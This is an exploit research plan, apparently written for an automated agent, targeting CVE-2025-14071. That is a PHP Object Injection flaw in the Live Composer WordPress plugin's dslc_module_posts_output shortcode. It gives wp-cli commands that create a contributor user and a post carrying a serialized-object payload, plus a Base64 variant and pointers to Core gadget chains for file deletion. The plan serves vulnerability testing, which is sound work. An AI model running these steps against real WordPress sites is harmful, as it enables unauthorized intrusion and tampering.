Live Composer – Free WordPress Website Builder <= 2.0.2 - Authenticated (Contributor+) PHP Object Injection via dslc_module_posts_output Shortcode

This research plan targets CVE-2025-14071, a PHP Object Injection vulnerability in the Live Composer – Free WordPress Website Builder plugin.

1. Vulnerability Summary

The vulnerability exists in the dslc_module_posts_output shortcode handler. The plugin fails to properly sanitize or validate user-provided attributes before passing them to the PHP unserialize() function. An authenticated user with Contributor permissions or higher can craft a malicious shortcode that, when rendered (either in the editor or on a public page), triggers the deserialization of an arbitrary PHP object.

2. Attack Vector Analysis

• Authentication: Authenticated (Contributor level or higher).
• Entry Point: The WordPress post editor (Gutenberg or Classic).
• Vulnerable Component: dslc_module_posts_output shortcode handler.
• Payload Carrier: A specific shortcode attribute (likely module_instance_id or a settings-related attribute) containing a serialized PHP object.
• Preconditions: The plugin must be active, and the attacker must have the capability to create or edit posts containing shortcodes.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode in the init hook:
   add_shortcode( 'dslc_module_posts_output', 'dslc_module_posts_output_callback' ); (inferred function name).
2. Trigger: A user visits a page or previews a post containing the shortcode: [dslc_module_posts_output attribute="payload"].
3. Processing: WordPress calls the callback function, passing the attributes array.
4. Vulnerable Sink: Inside the handler, an attribute is extracted and passed to unserialize().
   • Likely path: The plugin uses serialized strings to store module configurations or "instance" data within the shortcode attributes to maintain state between the builder and the frontend.

4. Nonce Acquisition Strategy

This vulnerability is triggered during the rendering of a shortcode, not via a specific AJAX/REST endpoint that requires a custom nonce. However, to save the post containing the malicious shortcode, the attacker needs standard WordPress admin nonces.

Strategy for the Automated Agent:

1. Authentication: Log in to the WordPress admin dashboard as a Contributor.
2. Post Creation: The agent should use wp-cli to create a post, as it bypasses the need for UI nonces:
   wp post create --post_type=post --post_status=publish --post_author=[USER_ID] --post_content='[dslc_module_posts_output attr="PAYLOAD"]'.
3. Alternative (UI-based):
   • Navigate to wp-admin/post-new.php.
   • If a specific nonce is required for a plugin-specific AJAX save, use browser_eval to extract it:
     browser_eval("window.dslc_composer_config?.nonce") (inferred key).

5. Exploitation Strategy

Since the plugin has no known POP (Property Oriented Programming) chain, the PoC will focus on proving the injection by triggering a class autoload or a __wakeup call if a common chain is present (e.g., WordPress Core or a common dependency).

Step-by-Step Plan:

1. Find the Sink: Scan the plugin directory for the shortcode registration and locate the unserialize call:
   grep -rn "add_shortcode.*dslc_module_posts_output" .
grep -rn "unserialize" .
2. Identify the Attribute: Determine which attribute of the shortcode reaches the unserialize sink.
3. Craft Payload: Create a serialized object. To prove execution without a complex chain, we can use a non-existent class to trigger a "Class not found" error or use a known Core chain like WP_HTML_Token (if available in the environment).
   • Payload Example: O:14:"NonExistentPoC":0:{}
4. Inject and Execute:
   • Create a post with the shortcode: [dslc_module_posts_output [VULNERABLE_ATTR]='O:14:"NonExistentPoC":0:{}'].
   • Visit the post URL using http_request.
5. Verify via Logs: Check the PHP error log for "PHP Fatal error: Uncaught Error: Class 'NonExistentPoC' not found".

6. Test Data Setup

1. Install Plugin: Ensure Live Composer <= 2.0.2 is installed.
2. Create User:
   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
3. Environment Check: Ensure WP_DEBUG and WP_DEBUG_LOG are enabled in wp-config.php to capture the results of the injection.

7. Expected Results

• The http_request to the post page should trigger the shortcode handler.
• The handler will call unserialize() on the malicious attribute.
• The PHP engine will attempt to instantiate the object defined in the payload.
• Success Indicator: A PHP error log entry or a 500 error page showing the attempt to load the arbitrary class.

8. Verification Steps

1. Check Logs:
   tail -n 20 /var/www/html/wp-content/debug.log
   Look for: PHP Fatal error: Uncaught Error: Class 'NonExistentPoC' not found
2. WP-CLI Confirmation: Verify the post content was actually saved:
   wp post get [POST_ID] --field=post_content

9. Alternative Approaches

• Base64 Encoding: Many WordPress builders Base64-encode serialized attributes. If the payload doesn't trigger, try encoding the serialized string: [dslc_module_posts_output attr="TzoxNDoiTm9uRXhpc3RlbnRQb0MiOjA6e30="].
• Core POP Chain: If the environment has a specific version of WordPress Core, use a WP_Block_List or WP_HTML_Token chain to perform a more visible action (like file deletion or option modification, if safe).
• Preview Mode: Instead of publishing, use the "Preview" functionality:
  GET /?p=[POST_ID]&preview=true (requires authentication cookies).